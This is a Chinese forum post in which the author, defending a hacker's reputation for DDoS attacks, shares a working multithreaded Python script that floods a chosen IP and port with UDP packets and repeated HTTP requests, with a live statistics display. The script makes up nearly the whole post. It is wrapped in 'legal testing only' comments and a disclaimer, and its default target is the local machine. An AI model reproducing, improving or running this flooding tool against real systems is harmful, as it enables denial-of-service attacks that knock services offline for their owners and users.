| 
 
TA的每日心情|  | 奋斗 前天 06:01
 | 
|---|
 签到天数: 125 天 [LV.7]常住居民III | 
 
| 今天我看见有人说黑客界lion只会DDoS攻击,其他啥也不会,我深感愤慨。那些人连DDoS都不会,有什么资格说lion?于是,我编写了这个能向指定IP端口发送UDP、HTTP数据包的程序,旨在助力大家提升网络技术认知,切勿将其用于任何违规、损害网络安全的行为。若该内容存在违规之处,恳请板块管理员予以删除。 import socket
 import threading
 import time
 import sys
 from datetime import datetime
 
 # 测试统计变量(仅用于合法场景)
 udp_sent = 0
 http_sent = 0
 http_success = 0
 start_time = datetime.now()
 MAX_THREADS = 5  # 自己调整线程数,避免CPU过载
 
 def udp_test(tgt, port):
 """UDP测试优化:复用套接字+最小数据包"""
 global udp_sent
 try:
 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  # 复用端口,减少资源占用
 data = bytes([0x00]) * 32  # 32字节最小数据包,最快传输
 while True:
 sock.sendto(data, (tgt, port))
 udp_sent += 1
 time.sleep(0.005)  # 间隔压至0.005s(需根据电脑性能调整,卡顿则调大)
 except Exception as e:
 print(f"\nUDP测试异常: {str(e)}")
 sys.exit()
 
 def http_test(tgt, port):
 """HTTP测试优化:连接复用+简化请求"""
 global http_sent, http_success
 req = b"GET / HTTP/1.0\r\n\r\n"  # 极简请求头,减少传输量
 try:
 while True:
 http_sent += 1
 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sock.settimeout(0.5)  # 超时间隔压至0.5s,快速释放连接
 sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
 try:
 sock.connect((tgt, port))
 for _ in range(5):  # 单次连接发送5次请求,提高密度
 sock.sendall(req)
 http_success += 1
 except:
 pass
 finally:
 sock.close()
 time.sleep(0.01)  # 间隔压至0.01s
 except Exception as e:
 print(f"\nHTTP测试异常: {str(e)}")
 sys.exit()
 
 def show_stats():
 """实时统计测试状态"""
 global udp_sent, http_sent, http_success, start_time, target, port
 print(f"\n=== 合法测试统计(目标:{target}:{port})===")
 while True:
 elapsed = (datetime.now() - start_time).total_seconds()
 http_rate = http_success / http_sent if http_sent > 0 else 0
 print(f"时间:{int(elapsed)}s | UDP:{udp_sent}次 | HTTP总:{http_sent}次 | HTTP成功:{http_success}次 | 成功率:{http_rate:.2%}", end="\r")
 time.sleep(0.5)  # 统计频率提高到0.5s/次
 
 def start_test(tgt, port):
 """启动测试(固定5线程,本机性能上线)"""
 print(f"测试启动(仅自有设备,线程数:{MAX_THREADS})")
 # 启动UDP和HTTP测试线程
 for _ in range(MAX_THREADS):
 threading.Thread(target=udp_test, args=(tgt, port), daemon=True).start()
 threading.Thread(target=http_test, args=(tgt, port), daemon=True).start()
 # 启动统计线程
 threading.Thread(target=show_stats, daemon=True).start()
 # 主线程保持运行
 try:
 while True:
 time.sleep(1)
 except KeyboardInterrupt:
 print("\n测试已手动停止")
 sys.exit(0)
 
 if __name__ == "__main__":
 # 仅允许测试自己的设备(如专业合法靶场,或同一WiFi下自有电脑IP)
 target = "127.0.0.1"  # 替换为合法目标IP(必须是自己的设备,这里示例用本地回环地址)
 port = 80  # 替换为目标服务端口(需提前在目标设备搭建服务,这里示例用80端口)
 # 检查目标合法性(仅作提醒,需用户自行确保)
 # 这里简单示例,实际可根据需求完善检查逻辑
 print("请确保测试目标是您自己拥有合法权限的设备!")
 start_test(target, port)
 | 
 |